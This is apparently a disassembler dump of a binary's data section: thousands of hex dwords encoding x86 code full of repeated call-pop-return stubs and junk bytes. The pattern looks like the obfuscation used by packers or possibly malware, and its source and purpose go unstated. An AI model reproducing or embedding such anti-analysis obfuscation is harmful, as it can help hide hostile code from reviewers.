		dd 168D9D23h, 958B07E9h, 7E9320Dh, 8D8B4FB3h, 7E922E5h
		dd 0A2DBD8Bh, 8B5007E9h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	51C35242h, 85089EDDh, 0AE9534Dh, 75000000h, 3F9DD382h
		dd 167A5511h, 0C9BD2B24h, 8907E91Fh, 0E90F5D85h, 13E807h
		dd 759A0000h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h, 82C0558h
		dd 15840F73h, 0E9000000h, 10h, 7EA68CCEh, 38BCB610h, 604BCB55h
		dd 7A489C3Ah, 2DBD835Bh, 7E91Ch, 0B3840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 89E71EC3h, 0BF6686ECh, 0B70FBC40h, 0B8FEh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 653017C3h, 2DD69FE9h, 8D158619h, 0E94D5A8Dh,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C4D39B7Bh, 998589B3h, 0FF07E92Fh, 53006AE1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0E9DA3F80h, 11h, 0B1F70CFFh,	0AA5B9B83h, 53685F8Ah
		dd 92518B92h, 0B1BD83D1h, 7E922h, 36F840Fh, 0BB660000h
		dd 0BD8316A8h, 7E922B1h, 79840F01h, 57000003h, 1800Fh
		dd 5BF90000h, 22B1BD83h, 0F0307E9h, 32D86h, 0D88B6600h
		dd 17D58589h, 0F6007E9h, 68Dh, 0B58D8900h, 6607E91Eh, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 31BB95C3h, 0B5313EAEh, 7E90B21h, 8904E180h, 0E91AD995h
		dd 0FC90A07h, 0E784h, 8BDA8B00h, 0E90C5585h, 33DF8B07h
		dd 0E91CE985h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BF66CB4Fh, 0F50053Dh
		dd 0E82h, 6E800h, 0F4ED0000h, 3260D337h, 895B5B56h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0EA76FFC3h, 29768C7Eh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 681603C3h, 0D1916B7Ch
		dd 35BF6660h, 61DC8A21h, 83240481h, 0E92E8D98h,	10h, 0FA312F67h
		dd 2C75A799h, 8E5C5918h, 30DA8AB7h, 13E9h, 0CBB84000h
		dd 0F295E1ACh, 0F0116048h, 5EA9CDE8h, 77E4C385h, 2D995FFh
		dd 858907E9h, 7ECD785h,	95F38166h, 176E985h, 0B5890000h
		dd 7E92EF5h, 0D77D858Bh, 0BF0F07ECh, 1800C7FEh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3BBC351h,	17118D89h, 0B58B07E9h, 7ECD781h
		dd 0E5BD8960h, 8B07E91Fh, 0E921F185h, 858B6107h, 7E91859h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 18C35343h
		dd 7B1D3F6h, 6A06899Bh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D4FFC350h,	55858BD5h
		dd 6A07E90Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 6484C357h, 0E783DD74h,	89DF8B66h
		dd 0BD8B0446h, 7E91AADh, 10E850h, 69390000h, 2838B969h
		dd 0A68CCE9Bh, 0BCB6107Eh, 52505538h, 8A0Fh, 310F0000h
		dd 83761EBBh, 5B585A2Fh, 89243489h, 0E91E559Dh,	7DB5FF07h
		dd 6807ECD7h, 37885024h, 8B665250h, 50310FFAh, 81585A5Fh
		dd 53DB2434h, 6A3797h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8DD501C3h, 0ECD78585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0B3BE820Eh, 0A3AB398Dh, 0E9905090h, 6, 0A8040540h, 95FF42F9h
		dd 7E902D9h, 2830Fh, 61600000h,	52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A8EB59D1h
		dd 0A26CEF46h, 0C7F98B58h, 0E922B185h, 307h, 0BE900h, 0ADC70000h
		dd 4078B0F2h, 87F8F32h,	85BD83ACh, 7ECD7h, 38840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BFDF9C3h, 0E930E59Dh, 2BE907h, 9D8B0000h, 7E90AE1h
		dd 48B0Fh, 0BF660000h, 305073E9h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0CD9509C0h,	8307E91Eh
		dd 0E922B1BDh, 850F0307h, 3C9h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0CDC35141h,	4559A3D4h, 34A301BBh
		dd 0D5BD89EBh, 8307E902h, 0ECD785BDh, 840F0007h, 391h
		dd 0B5FFD98Ah, 7ECD785h, 816633B7h, 0FFDDE8DFh,	0E9134995h
		dd 0B5BD8907h, 8B07E900h, 0ECD779B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0DFC1A589h, 8A7F16D7h, 6C7F5DDh, 10001h, 21CCF781h
		dd 0E8506217h, 9, 24FEF42Eh
		db 0FEh
aPM7fI4J	db 'ÔšÃÓP»¶Œ7F[[‰4$j',0 ; DATA XREF: sdfs____:005997DEo
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 27C35747h, 489E9DC0h
		dd 6CBA4ABCh, 559D89BFh, 8907E901h, 0E902FD9Dh,	85B5FF07h
		dd 6A07ECD7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0BA7EC356h, 0F760A78h,	619D09C2h
		dd 8B07E90Ch, 0E9109D9Dh, 0B195FF07h, 6A07E91Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 9B02C350h, 99BF0578h, 8B1C3B95h, 0ECD779B5h,	698D0107h
		dd 8B07E92Eh, 0E9244985h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 535C6C91h
		dd 5C9112E6h, 39B58946h, 8907E92Eh, 0E9198995h,	0C4868907h
		dd 89000000h, 0E9158D95h, 0D958B07h, 6A07E932h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0AF89C355h, 1D093850h, 4C2831Ch, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 8AC35545h, 0BE85E6Dh, 4C000000h
		dd 133A71F7h, 555E790Fh, 0BD29E6D1h, 7E91FA9h, 2050895Bh
		dd 18F5BD8Bh, 858D07E9h, 7ECECA1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 62C35545h, 0AEBA7C40h, 0E0997DF1h
		dd 3081B589h, 868907E9h, 0B8h, 66006AF5h, 0FF7C2ABBh, 0ECD785B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 53B87838h, 0BF0F45A2h, 0CD95FFDAh, 6607E902h
		dd 0BB96DE8Bh, 5BAD3044h, 8A0F5250h, 3,	5FDE8B66h, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0D1BB66B8h, 85B5FF53h, 8907ECD7h, 0E90AA195h, 2D95FF07h
		dd 8B07E930h, 0E92DE99Dh, 0C9BD8307h, 7E91Eh, 15840Fh
		dd 9D090000h, 7E91D6Dh,	3B8DBF50h, 3489515Eh, 759D8B24h
		dd 0FF07E90Ch, 0ECD785B5h, 0CE907h, 871F0000h, 8B972997h
		dd 78223524h, 95FF2CA2h, 7E91F9Dh, 12E9h, 35EED100h, 8D4C24B4h
		dd 0B551044Ch, 734CC29Fh, 0FF69D8C2h, 0ECD785B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 14E99E17h, 87000000h, 997C7577h, 7387CBC1h, 4B582D2Fh
		dd 9A09FF3Fh, 0FF7D4BE6h, 0E9013995h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 4D6156E8h, 958AE8F7h, 8E9634Dh, 21000000h, 0D63D77DFh
		dd 837182F3h, 0E929CDBDh, 840F0207h, 28h, 68F0Fh, 9D890000h
		dd 7E923ADh, 875858Bh, 8F0F07E9h, 2, 0C6D98Bh, 0BD896000h
		dd 7E93549h, 61CA8B66h,	24AD85C7h, 7E9h, 0FE80000h, 9F000000h
		dd 4F37C041h, 7A533095h, 0FD171264h, 0CB812A61h, 70AFA730h
		dd 0F467E95Bh, 9D2BFFFFh, 7E9078Dh, 9D89C18Bh, 7E92B11h
		dd 861858Dh, 2FBF07E9h,	8B6BA211h, 0E923DDBDh, 7E85007h
		dd 16000000h, 866674Ch,	5F533CFDh, 2404895Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h, 446A5D5Ch
		dd 5E8FEh, 408C0000h, 0BFC92806h, 1424E8Ah, 0DF81665Bh
		dd 6AE1D6h, 8E9h, 27883700h, 1C11540Dh,	60006A3Eh, 2B819D89h
		dd 5E907E9h, 2F000000h,	0CE58EA80h, 49BD8961h, 8D07E92Dh
		dd 0ED7E6685h, 4800F07h, 60000000h, 8361D08Bh, 6A05C0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7D15D5C3h, 3EBF6655h, 6660507Eh, 5031C4B8h, 0CE952h
		dd 88410000h, 0D66D7201h, 0AEEFF8E3h, 310FF40Ch, 4044BF66h
		dd 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0DF2CE2C3h, 4BBE4AA8h, 0F8B88F35h
		dd 23C59D8Bh, 0B9BF07E9h, 6A3D78E9h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 12CFA0h, 5DB22064h
		dd 9589E650h, 7E93061h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 6B7E03C3h, 0DFA56721h
		dd 9CD780EBh, 0FB995FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 808BA3C3h, 0D8131D36h
		dd 8589DC30h, 7E918B9h,	0D72C8D8Dh, 816607ECh, 0FF2CF4F3h
		dd 0DBB70FD1h, 1B69BD83h, 0F0107E9h, 3F85h, 0C1BD8B00h
		dd 6A07E916h, 9D950102h, 5007E901h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9A48C353h, 31B1B6DFh, 0E9255D85h, 95FFF807h,	7E902CDh
		dd 0DB1E9h, 0E800h, 815D0000h, 0ED7E70EDh, 0D9B70F07h
		dd 15A98D89h, 9D0307E9h, 7E93591h, 0B406858Dh, 950107ECh
		dd 7E90DBDh, 0BB665090h, 6A90BCA2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 644EC352h
		dd 35FFh, 9D030000h, 7E93461h, 258964h,	6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 9CECC357h, 0C3EE777Ah, 31C300C7h, 20319D09h,	0B96007E9h
		dd 5CEBD192h, 7E9h, 0A588C500h,	95900A9Ah, 9D85FF61h, 8B07E90Fh
		dd 0E908D9BDh, 6AFF6A07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 316C353h, 6C0DCF21h
		dd 245DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 556317C3h, 2C919D89h, 95FF07E9h
		dd 7E9233Dh, 14CE9h, 49BD2B00h,	0B007E91Dh, 11E800h, 0FEE40000h
		dd 0DE99A394h, 6221AC0Bh, 3FA9AC53h, 0E9E25C0Dh, 12h, 0EB0586Ch
		dd 830ECE4Dh, 0C6CEF54Eh, 0F82122D4h, 0E65B208Dh, 0AE970h
		dd 41E30000h, 5774965Ch, 0F8A49F87h, 1859501h, 71E407E9h
		dd 0AE9DB81h, 613C25D7h, 0EF830Fh, 0E8600000h, 0Dh, 0E634F08Dh
		dd 48EE7AFDh, 98AD656Ch, 39B58BE2h, 5E07E925h, 0C8B60F61h
		dd 20FD9D8Bh, 6BA07E9h,	89000000h, 0E9190D8Dh, 8BC18B07h
		dd 0E90749BDh, 4E8C107h, 12E8h,	35090000h, 754E03F5h, 4ED707FDh
		dd 0C4242C21h, 89C94B32h, 0E91C2985h, 0F7665B07h, 46EF81E2h
		dd 2B6ADA9Ah, 91CF80C8h, 0DE9D18Bh, 9B000000h, 0F4402ABEh
		dd 22EE3478h, 0A722AA43h, 4E9h,	0E4BF6600h, 89858B04h
		dd 0F07E909h, 388h, 0D98B6600h,	83F8B70Fh, 3BB07C0h, 8373BDEFh
		dd 8D8900C0h, 7E91EADh,	830FD03Bh, 11h,	2FD9BD8Bh, 36E907E9h
		dd 81000000h, 0C35968F3h, 0D98D8B5Ah, 8B07E91Dh, 1E183DAh
		dd 1F840Fh, 0BD8B0000h,	7E91B29h, 1DD9A583h, 0F5FE07E9h
		dd 9899589h, 858907E9h,	7E900E5h, 0E9h,	4B58D00h, 6A07ECF8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 6D46C350h, 0D33C4022h, 0FF28597h,	6AD9BFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h
		dd 46F3DADFh, 0CB81BA30h, 61A29098h, 0C3195FFh,	6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EDE4E1C3h, 431E84B9h, 0B9080046h, 0ECCh, 6AFCE183h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 130CC351h, 0B5898139h, 7E91BA9h, 66FCFA8Bh
		dd 8BD3E9BBh, 0B8D9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 49D92DC3h, 2BF8BF0Fh
		dd 50006AD2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0EEF8AC14h, 0EE00BC5Eh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0ABC35141h, 66AB9749h, 0E81DB81h, 880Dh, 38E0F00h
		dd 80000000h, 958B41CBh, 7E9320Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E9C35141h,	22E58D8Bh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 465E38C3h, 8B91EEB5h, 0E916F19Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 7878DB81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F3C35646h, 60B86F49h
		dd 13598589h, 860F07E9h, 4, 8DE6BE66h, 0D8BF0F61h, 1C2DBD83h
		dd 0F0007E9h, 6184h, 0A5858900h, 0B807E926h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C0C35646h
		dd 72981DEDh, 5A8D8DDEh, 8107E94Dh, 0D037A4C7h,	6AE1FF71h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 423BC351h, 0E9C2EA82h, 0FFBBF0Fh,	0BD83D8B7h
		dd 7E922B1h, 5B840F00h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3CBAC350h
		dd 954F06Dh, 0E9096D8Dh, 0B1BD8307h, 107E922h, 343840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 1EA6ACC3h, 0D917DE4Dh, 22B1BD83h,	0F0307E9h
		dd 2DE86h, 0F878BF00h, 2B605615h, 0E90F35BDh, 0D98C6607h
		dd 80DABF0Fh, 0BB6604E1h, 0C90A7ADCh, 0FA840Fh,	0AE90000h
		dd 0CD000000h, 5DC7F6A4h, 6B661813h, 79BD89A9h,	8B07E934h
		dd 0E90C5585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C53C2A4h, 9E960h, 0F92C0000h
		dd 0D3CE78BEh, 8B486089h, 0E915AD9Dh, 85336107h, 7E91CE9h
		dd 0BE9h, 5D64DB00h, 30BA06E2h,	0B7FFCD0Eh, 8E0F50h, 89000000h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 626FD3C3h, 13318589h, 6A07E9h, 1C119D8Bh
		dd 936807E9h, 66B2ADE9h, 481F98Bh, 711A6C24h, 6880F4Dh
		dd 8B000000h, 0E920B9BDh, 0D995FF07h, 8B07E902h, 0E92F659Dh
		dd 95BD0107h, 8907E929h, 0ECD78585h, 84E9F507h,	6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E5E5C352h, 3F45E57Dh, 0C6FDDA09h, 0D77D858Bh
		dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 8D3CDAC3h, 800F6E3Ch, 6, 0B958D89h, 0C707E9h
		dd 18h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 0C5C35343h, 89B32A23h, 0E9212585h, 81B58B07h, 0E907ECD7h
		dd 8, 0D05E3A6Ah, 22550960h, 1859858Bh,	6A07E9h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D407E4C3h, 4D8F7BDh, 8BC4425Dh, 0E913219Dh,	689F807h
		dd 6830Fh, 8A0F0000h, 0
		dd 0C55858Bh, 0BD8B07E9h, 7E92FD1h, 66044689h, 5092CCBBh
		dd 0B86660h, 34896169h,	8E924h,	0A3FA0000h, 0A77E27h, 0B5FF02E3h
		dd 7ECD77Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	29C35141h, 0E4F96257h, 66735845h, 0F5151BBh, 0D268FABFh
		dd 5063FA57h, 1ED8BF52h, 310F3520h, 585AFE8Bh, 2D243481h
		dd 8B63E554h, 0E90B9DBDh, 85858D07h, 8B07ECD7h,	48950DFh
		dd 0D995FF24h, 6A07E902h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 796C353h, 63FBA866h
		dd 61FEEB80h, 0EEECBB66h, 22B185C7h, 307E9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 89A53FC3h, 0E92A1595h, 85BD8307h, 7ECD7h, 25840Fh, 81660000h
		dd 0E97480CBh, 36h, 15860Fh, 10E90000h,	0EA000000h, 6B026BE1h
		dd 0D5DAF1B5h, 4CFCD986h, 50D57EE5h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 8F38A6C3h
		dd 6BB34905h, 95895B56h, 7E92B31h, 22B1BD83h, 0F0307E9h
		dd 4D885h, 18D8900h, 8307E909h,	0ECD785BDh, 840F0007h
		dd 4C5h, 1A5D9589h, 0B5FF07E9h,	7ECD785h, 9E9h,	6542C400h
		dd 76DE8A23h, 0BD8B18BBh, 7E92519h, 134995FFh, 6A07E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D2258AC3h, 0B3D71224h, 0BBBF79D4h, 8B768907h, 0E92E31BDh
		dd 79B58B07h, 6607ECD7h, 0F60F98Bh, 0B589F0BFh,	7E90FD5h
		dd 106C761h, 6A000100h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A4EDC355h,	60969E16h
		dd 0BE8h, 0D6795700h, 2DBC6117h, 24612F97h, 9464BA66h
		dd 5E85Eh, 56880000h, 560FEAC1h, 50615A58h, 13E9h, 38FCC500h
		dd 74A7A215h, 577068B6h, 0ACDDFF73h, 0E187D913h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8E8BE5Bh, 0FE000000h, 0BD3148F9h, 0BB2F7172h, 7B30B383h
		dd 890F525Fh, 6, 8E0Fh,	0FF5B0000h, 0ECD785B5h,	33C38007h
		dd 1AB195FFh, 816607E9h, 8BA157D7h, 0ECD779B5h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 4A56F36Ah, 53A2491Ch, 79BD03ECh, 2907E90Ch, 0E9057195h
		dd 49858B07h, 8907E924h, 0E926458Dh, 0C4868907h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9958C355h, 958BBFF5h, 7E9320Dh, 2458D29h
		dd 0C28307E9h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0BB76DE8Ah, 8D205089h
		dd 0ECECA185h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6E814h, 141D0000h, 2608290Eh
		dd 315BDA8Bh, 0E9016D9Dh, 0B8868907h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0DB8AC356h, 0BFCCF348h, 13705E6Ch, 6A6AE780h, 19850100h
		dd 0FF07E902h, 0ECD785B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FF2BA5FBh
		dd 0E902CD95h, 0E880F07h, 60000000h, 8E0Fh, 85890000h
		dd 7E92065h, 0C89ABF61h, 575078A8h, 5E9h, 122F3200h, 895B62A0h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0CD2151C3h, 0BC0EB168h, 0BE956h, 707E0000h
		dd 3135ADh, 9227070Dh, 0BD315B57h, 7E90335h, 0D785B5FFh
		dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0CAC3C3C3h, 24397C15h, 0C140CB81h, 95FF50B2h
		dd 7E9302Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	9DC35545h, 0FF3A15Dh, 689h, 819D3100h, 8907E910h
		dd 0E907AD8Dh, 0C9BD8307h, 7E91Eh, 4F840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0AA9C3CC3h, 287764A5h, 9D8B5140h, 7E91C99h, 5E8505Bh
		dd 17000000h, 0FAB2D70Bh, 72A2BF66h, 2434895Fh,	0B8B0Fh
		dd 850F0000h, 5, 5BE38166h, 85B5FF8Eh, 6A07ECD7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E0D3C357h, 1CB18D89h, 95FF07E9h, 7E91F9Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E5C35646h, 263B8311h
		dd 411B4F3Dh, 1D8D89A4h, 8907E908h, 0E92DC99Dh,	85B5FF07h
		dd 6A07ECD7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0EE84C353h, 72C64472h,	95FF01ECh
		dd 7E90139h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0F2C35040h, 0DD2CA821h,	0B919D8Bh, 0BD8307E9h
		dd 7E929CDh, 88840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4DBBC355h
		dd 7E9BD03h, 858B07E9h,	7E90875h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 9AC35040h, 0E9953104h, 0E807E92Fh
		dd 0Eh,	84DC6535h, 6214D113h, 0D0B5E888h, 0D98BD531h, 0C65Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 39C35141h
		dd 2D8068E6h, 0C7FCFE93h, 0E924AD85h, 7, 0F35FE900h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 234F35C3h, 8BF83AB4h, 0FD9D0BFAh, 8B07E921h,	53006AC1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 15C6C11Ah, 0FB44FD20h, 0BD89AE8Fh, 7E924D1h,	29B96660h
		dd 79B58B20h, 6107E910h, 2DF19589h, 858D07E9h, 7E90861h
		dd 18E0Fh, 90FC0000h, 0FE9h, 0BAF55200h, 7379DA8Dh, 0C20427D9h
		dd 0EDAD7873h, 0C8D0F50h, 50000000h, 50310F52h,	5A310F52h
		dd 90585A58h, 5890Fh, 81660000h, 0FA9D2DFh, 680h, 0E9850900h
		dd 6A07E90Bh, 0C8A0F00h, 0F000000h, 681h, 0B1B58900h, 8B07E924h
		dd 66006AFBh, 8D461ABBh, 0ED8DB485h, 0B1B58907h, 8307E911h
		dd 5E905C0h, 5F000000h,	57BAB73Eh, 0DE950h, 73D30000h
		dd 6F62651Bh, 8C860E5Bh, 89549B1Eh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B2F63C3h
		dd 6A006AFAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 22E6C356h, 8B66D94Bh, 89006AFEh
		dd 0E9202195h, 0B995FF07h, 8B07E90Fh, 0E92B359Dh, 2C8D8D07h
		dd 6A07ECD7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 5113C352h, 9CAFFEAh, 0E925C5B5h
		dd 6AD1FF07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 7F3AC350h, 5E966CDh, 6B000000h, 9059D4D3h
		dd 1B69BD83h, 0F0107E9h, 4585h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A86539EFh
		dd 3C4B1770h, 0F88B4C8Ch, 8166026Ah, 50E699CBh,	40DB57BBh
		dd 2404890Eh, 95FF5F50h, 7E902CDh, 0C24BF66h, 0D1E9FE8Bh
		dd 0E800000Dh, 0
		dd 0BEED815Dh, 8907ED8Dh, 0E9311195h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 33B47A03h, 0BD8BA14Dh, 7E91649h, 0B406858Dh,	6A07ECh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 40BD5FC3h, 71C9FA01h, 5269F7D4h, 1CE59589h, 905F07E9h
		dd 0BE8h, 81486900h, 9EBD657Ch,	63BDA868h, 62BF6653h, 505F5BF2h
		dd 22F8BB66h, 6D8D8990h, 6407E934h, 35FFh, 9E90000h, 0CB000000h
		dd 3403FB88h, 0D333920Bh, 258964h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0EE56C353h, 773A5DECh, 1ADD752Eh, 21E9B589h,	85FF07E9h
		dd 7E90F9Dh, 5E9h, 9B02BB00h, 0FF6A0578h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0AEC35646h, 76A784B0h
		dd 9A04AA2h, 0E92CCD95h, 92E38107h, 0FF1A67ADh,	0E92979B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0FD6C201Eh, 0A359D8Bh, 8B6607E9h, 3D95FFD8h
		dd 0E907E923h, 0FEh, 0B0DFB70Fh, 58B0F00h, 0BB000000h
		dd 7730250Fh, 11E970E6h, 2000000h, 7FDA63E6h, 0D5D31AADh
		dd 0A2E58885h, 4BF58D17h, 0C8A0Fh, 89600000h, 0E918199Dh
